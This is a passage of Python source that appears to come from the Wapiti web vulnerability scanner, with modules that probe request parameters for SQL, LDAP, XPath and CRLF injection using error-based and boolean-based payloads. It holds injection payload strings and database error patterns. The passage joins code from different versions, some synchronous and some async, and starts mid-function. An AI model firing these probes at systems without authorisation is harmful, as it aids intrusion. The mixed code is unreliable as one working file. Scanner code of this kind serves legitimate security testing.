level=CRITICAL_LEVEL, request=mutated_request, info=vuln_message, parameter=parameter) self.log_red("---") self.log_red( Messages.MSG_QS_INJECT if parameter == "QUERY_STRING" else Messages.MSG_PARAM_INJECT, vuln_info, page, parameter) self.log_red(Messages.MSG_EVIL_REQUEST) self.log_red(mutated_request.http_repr()) self.log_red("---") # We reached maximum exploitation for this parameter, don't send more payloads vulnerable_parameter = True continue elif response.status == 500 and not saw_internal_error: saw_internal_error = True if parameter == "QUERY_STRING": anom_msg = Messages.MSG_QS_500 else: anom_msg = Messages.MSG_PARAM_500.format( parameter) self.add_anom(request_id=original_request.path_id, category=Messages.ERROR_500, level=HIGH_LEVEL, request=mutated_request, info=anom_msg, parameter=parameter) self.log_orange("---") self.log_orange(Messages.MSG_500, page) self.log_orange(Messages.MSG_EVIL_REQUEST) self.log_orange(mutated_request.http_repr()) self.log_orange("---") except (KeyboardInterrupt, RequestException) as exception: yield exception yield original_request
class ModuleSql(Attack): """ Detect SQL (also LDAP and XPath) injection vulnerabilities using error-based or boolean-based (blind) techniques. """ time_to_sleep = 6 name = "sql" payloads = ("[VALUE]\xBF'\"(", Flags()) filename_payload = "'\"(" # TODO: wait for https://github.com/shazow/urllib3/pull/856 then use that for files upld def __init__(self, crawler, persister, attack_options, stop_event): super().__init__(crawler, persister, attack_options, stop_event) self.mutator = self.get_mutator() @staticmethod def _find_pattern_in_response(data): for dbms, regex_list in DBMS_ERROR_PATTERNS.items(): for regex in regex_list: if regex.search(data): return f"{_('SQL Injection')} (DMBS: {dbms}" # Can't guess the DBMS but may be useful if "Unclosed quotation mark after the character string" in data: return _(".NET SQL Injection") if "StatementCallback; bad SQL grammar" in data: return _("Spring JDBC Injection") if "XPathException" in data: return _("XPath Injection") if "Warning: SimpleXMLElement::xpath():" in data: return _("XPath Injection") if "supplied argument is not a valid ldap" in data or "javax.naming.NameNotFoundException" in data: return _("LDAP Injection") return "" async def is_false_positive(self, request): try: response = await self.crawler.async_send(request) except RequestError: self.network_errors += 1 else: if self._find_pattern_in_response(response.content): return True return False def set_timeout(self, timeout): self.time_to_sleep = str(1 + int(timeout)) async def attack(self, request: Request): vulnerable_parameters = await self.error_based_attack(request) await self.boolean_based_attack(request, vulnerable_parameters) async def error_based_attack(self, request: Request): page = request.path saw_internal_error = False current_parameter = None vulnerable_parameter = False vulnerable_parameters = set() for mutated_request, parameter, __, __ in self.mutator.mutate(request): if current_parameter != parameter: # Forget what we know about current parameter current_parameter = parameter vulnerable_parameter = False elif vulnerable_parameter: # If parameter is vulnerable, just skip till next parameter continue log_verbose(f"[¨] {mutated_request}") try: response = await self.crawler.async_send(mutated_request) except RequestError: self.network_errors += 1 else: vuln_info = self._find_pattern_in_response(response.content) if vuln_info and not await self.is_false_positive(request): # An error message implies that a vulnerability may exists if parameter == "QUERY_STRING": vuln_message = Messages.MSG_QS_INJECT.format(vuln_info, page) else: vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter) await self.add_vuln_critical( request_id=request.path_id, category=NAME, request=mutated_request, info=vuln_message, parameter=parameter, wstg=WSTG_CODE ) log_red("---") log_red( Messages.MSG_QS_INJECT if parameter == "QUERY_STRING" else Messages.MSG_PARAM_INJECT, vuln_info, page, parameter ) log_red(Messages.MSG_EVIL_REQUEST) log_red(mutated_request.http_repr()) log_red("---") # We reached maximum exploitation for this parameter, don't send more payloads vulnerable_parameter = True vulnerable_parameters.add(parameter) elif response.status == 500 and not saw_internal_error: saw_internal_error = True if parameter == "QUERY_STRING": anom_msg = Messages.MSG_QS_500 else: anom_msg = Messages.MSG_PARAM_500.format(parameter) await self.add_anom_high( request_id=request.path_id, category=Messages.ERROR_500, request=mutated_request, info=anom_msg, parameter=parameter, wstg=INTERNAL_ERROR_WSTG_CODE ) log_orange("---") log_orange(Messages.MSG_500, page) log_orange(Messages.MSG_EVIL_REQUEST) log_orange(mutated_request.http_repr()) log_orange("---") return vulnerable_parameters async def boolean_based_attack(self, request: Request, parameters_to_skip: set): try: good_response = await self.crawler.async_send(request) good_status = good_response.status good_redirect = good_response.redirection_url # good_title = response.title good_hash = good_response.text_only_md5 except ReadTimeout: self.network_errors += 1 return methods = "" if self.do_get: methods += "G" if self.do_post: methods += "PF" mutator = Mutator( methods=methods, payloads=generate_boolean_payloads(), qs_inject=self.must_attack_query_string, skip=self.options.get("skipped_parameters", set()) | parameters_to_skip ) page = request.path current_parameter = None skip_till_next_parameter = False current_session = None test_results = [] last_mutated_request = None for mutated_request, parameter, __, flags in mutator.mutate(request): # Make sure we always pass through the following block to see changes of payloads formats if current_session != flags.platform: # We start a new set of payloads, let's analyse results for previous ones if test_results and all(test_results): # We got a winner skip_till_next_parameter = True vuln_info = _("SQL Injection") if current_parameter == "QUERY_STRING": vuln_message = Messages.MSG_QS_INJECT.format(vuln_info, page) else: vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, current_parameter) await self.add_vuln_critical( request_id=request.path_id, category=NAME, request=last_mutated_request, info=vuln_message, parameter=current_parameter, wstg=WSTG_CODE ) log_red("---") log_red( Messages.MSG_QS_INJECT if current_parameter == "QUERY_STRING" else Messages.MSG_PARAM_INJECT, vuln_info, page, current_parameter ) log_red(Messages.MSG_EVIL_REQUEST) log_red(last_mutated_request.http_repr()) log_red("---") # Don't forget to reset session and results current_session = flags.platform test_results = [] if current_parameter != parameter: # Start attacking a new parameter, forget every state we kept current_parameter = parameter skip_till_next_parameter = False elif skip_till_next_parameter: # If parameter is vulnerable, just skip till next parameter continue if test_results and not all(test_results): # No need to go further: one of the tests was wrong continue log_verbose(f"[¨] {mutated_request}") try: response = await self.crawler.async_send(mutated_request) except RequestError: self.network_errors += 1 # We need all cases to make sure SQLi is there test_results.append(False) continue comparison = ( response.status == good_status and response.redirection_url == good_redirect and response.text_only_md5 == good_hash ) test_results.append(comparison == (flags.section == "True")) last_mutated_request = mutated_request
class mod_crlf(Attack): """Detect Carriage Return Line Feed (CRLF) injection vulnerabilities.""" # Won't work with PHP >= 4.4.2 name = "crlf" MSG_VULN = _("CRLF Injection") do_get = False do_post = False payloads = (quote("http://www.google.fr\r\nwapiti: 3.0.3 version"), Flags()) def attack(self): mutator = self.get_mutator() http_resources = self.persister.get_links( attack_module=self.name) if self.do_get else [] for http_res in http_resources: page = http_res.path for mutated_request, parameter, payload, flags in mutator.mutate( http_res): try: if self.verbose == 2: print("+ {0}".format(mutated_request.url)) try: response = self.crawler.send(mutated_request) except ReadTimeout: self.add_anom(request_id=http_res.path_id, category=Messages.RES_CONSUMPTION, level=MEDIUM_LEVEL, request=mutated_request, parameter=parameter, info="Timeout (" + parameter + ")") self.log_orange("---") self.log_orange(Messages.MSG_TIMEOUT, page) self.log_orange(Messages.MSG_EVIL_REQUEST) self.log_orange(mutated_request.http_repr()) self.log_orange("---") except HTTPError: self.log( _("Error: The server did not understand this request" )) else: if "wapiti" in response.headers: self.add_vuln( request_id=http_res.path_id, category=NAME, level=HIGH_LEVEL, request=mutated_request, parameter=parameter, info=_("{0} via injection in the parameter {1}" ).format(self.MSG_VULN, parameter)) if parameter == "QUERY_STRING": injection_msg = Messages.MSG_QS_INJECT else: injection_msg = Messages.MSG_PARAM_INJECT self.log_red("---") self.log_red(injection_msg, self.MSG_VULN, page, parameter) self.log_red(Messages.MSG_EVIL_REQUEST) self.log_red(mutated_request.http_repr()) self.log_red("---") except (RequestException, KeyboardInterrupt) as exception: yield exception yield http_res